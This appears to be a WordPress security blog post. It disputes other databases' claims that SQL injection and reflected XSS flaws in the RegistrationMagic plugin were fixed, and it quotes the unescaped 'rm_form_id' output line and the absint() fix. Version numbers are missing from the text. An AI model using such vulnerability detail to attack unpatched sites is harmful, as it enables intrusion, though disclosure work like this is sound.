In another review, which was changed well after it was written (after, it seems the writer didn’t take kindly to us disagreeing with them about something, which seems to be a reoccurring issue with them), the reviewer made this claim:

The WPScan Vulnerbility Database is a valuable resource for WordPress users and developers, but the author has nothing but negative things to say about them, presumably since they do “competing” work. (Even though they are in completely different leagues – WPScan’s resources are far more robust.)

We have repeatedly said that is good resource for a lot of people (since the data can be accessed for free), but also that there are important limitations that people should know about. So claiming that we have “nothing but negative things to say about them” isn’t true. What also wasn’t true was the last part of that “Even though they are in completely different leagues – WPScan’s resources are far more robust.”. There wasn’t any evidence provided that backed that up and it certainly isn’t true for a number of reasons. One of them is that in terms of newly disclosed vulnerabilities, we are adding many more vulnerabilities than them. Another reason that isn’t true is that we actually test out vulnerabilities before adding them to our data set and WPScan doesn’t, which would catch unfixed ones.

Claims of Fixed Vulnerabilities in RegistrationMagic

Last week Rob Carr put out claims that there had been an authenticated SQL injection and a reflected XSS vulnerability that had been in the plugin RegistrationMagic and had been fixed in version

Those claims were then repeated on the WPScan Vulnerability Database:

And also by WPCampus:


Only Accessible by Administrators

When we went to see about adding those vulnerabilities to our data set we first looked at the claim of an authenticated SQL injection vulnerability. While the report contains a lot of detail, it is missing a key detail, what level of user is required to exploit this. That is important since if it was only Administrators that could access this, it wouldn’t really be a vulnerability, since those users would normally be able to do the equivalent of SQL injection.

When we started testing it, we tried the proof of concept URL logged in as Administrator and it worked. We then tried it logged in as a user a level below, an Editor. When we did we got served a page that said:

Sorry, you are not allowed to access this page.

That would seem to indicate that only Administrators could exploit this. To confirm that, we looked at what capability the page that was being visited in the proof of concept required. The code that does is that below, and the fourth parameter in that list the capability required:

add_submenu_page("", RM_UI_Strings::get('ADMIN_MENU_MNG_FIELDS_PT'), RM_UI_Strings::get('ADMIN_MENU_MNG_FIELDS_PT'), "manage_options", "rm_field_manage", array($this-&gt;get_controller(), 'run'));

The “manage_options” capability is a capability that normally only Administrator level users have (and normally if lower level users have it they would also have the capability to create new Administrator users). So there isn’t really a vulnerability here, as we see it. It could be that those other sources have a different view of things, but based on looking into the second claimed vulnerability, it seems likely they did even check what users this was limited to.

This Vulnerability Hadn’t Been Fixed

The second vulnerability sounded unusual to us, as the claim was that the SQL injection vulnerability could be used to cause reflected cross-site scripting (XSS). That isn’t something we can recall seeing before.

We first tried out the proof of concept URL with version installed and it worked. We then tried it in, which was what the discoverer and the listings on the WPScan Vulnerability Database and WPCampus claimed was the version that fixed it. The proof of concept still worked. We then tried it in the then latest version,, and it still worked. At that point we installed version in a new install of WordPress, to make sure that the successful exploration when version was tested didn’t cause the tries with newer versions to only appear to be vulnerable, and the proof of concept still worked.

Considering how easy it was to test this vulnerability, it indicates that those other sources are not doing any testing before making claims as to whether vulnerabilities have been fixed. That is pretty significant limit of the usefulness of their data and getting accurate information is one the important benefits of using our data instead, but one that people likely wouldn’t know about if we were not mentioning it since those sources don’t have a disclaimer that they don’t really know if their data is accurate. It certainly doesn’t help when the public is making further inaccurate claims about other data sources, like in the review mentioned earlier.

At that point we went to look at the changes made in the version that this was supposed to be fixed in, but it didn’t really giving us any idea what might be wrong.

We then looked at the HTML code being served when requesting the proof of concept URL. From that we could see that at least part of the issue is that value of the GET input “rm_form_id” from the proof of concept URL was being output numerous times on the page.

In looking at the underlying code form the plugin we found that one of those instances was generated by the following code:

var loc = "?page=rm_field_add&rm_form_id=<?php echo $data->form_id; ?>&rm_form_page_no=" + curr_form_page + "&rm_field_type";

So at least part of the issue was that the value of $data->form_id was not validated or sanitized and then being output without being escaped. Trying to trace through the code to find where that value came in to the plugin was a bit difficult. That wasn’t really all that surprising once we noticed that the developer was CMSHelpLive, which is company that doesn’t really have a great concern for security (even of their own websites despite offering security services) or for code quality.

We eventual tracked down were the value is brought in to the plugin, it was one three instances of the following line in the file /admin/controllers/class_rm_field_controller.php:

$data-&gt;form_id = $request-&gt;req['rm_form_id'];

Restricting the value being brought in to integers removed all the instances of cross-site scripting (XSS). Prior to that there were a couple of instances of the XSS that might have come from data passed through SQL statements, but we weren’t able to easily tell where they were coming from.

After we notified the developer they released version, which fixes this by restricting the value $request->req[‘rm_form_id’] to an integer by adding the following line to function manage() in the file /admin/controllers/class_rm_field_controller.php:

$request-&gt;req['rm_form_id']= absint($request-&gt;req['rm_form_id']);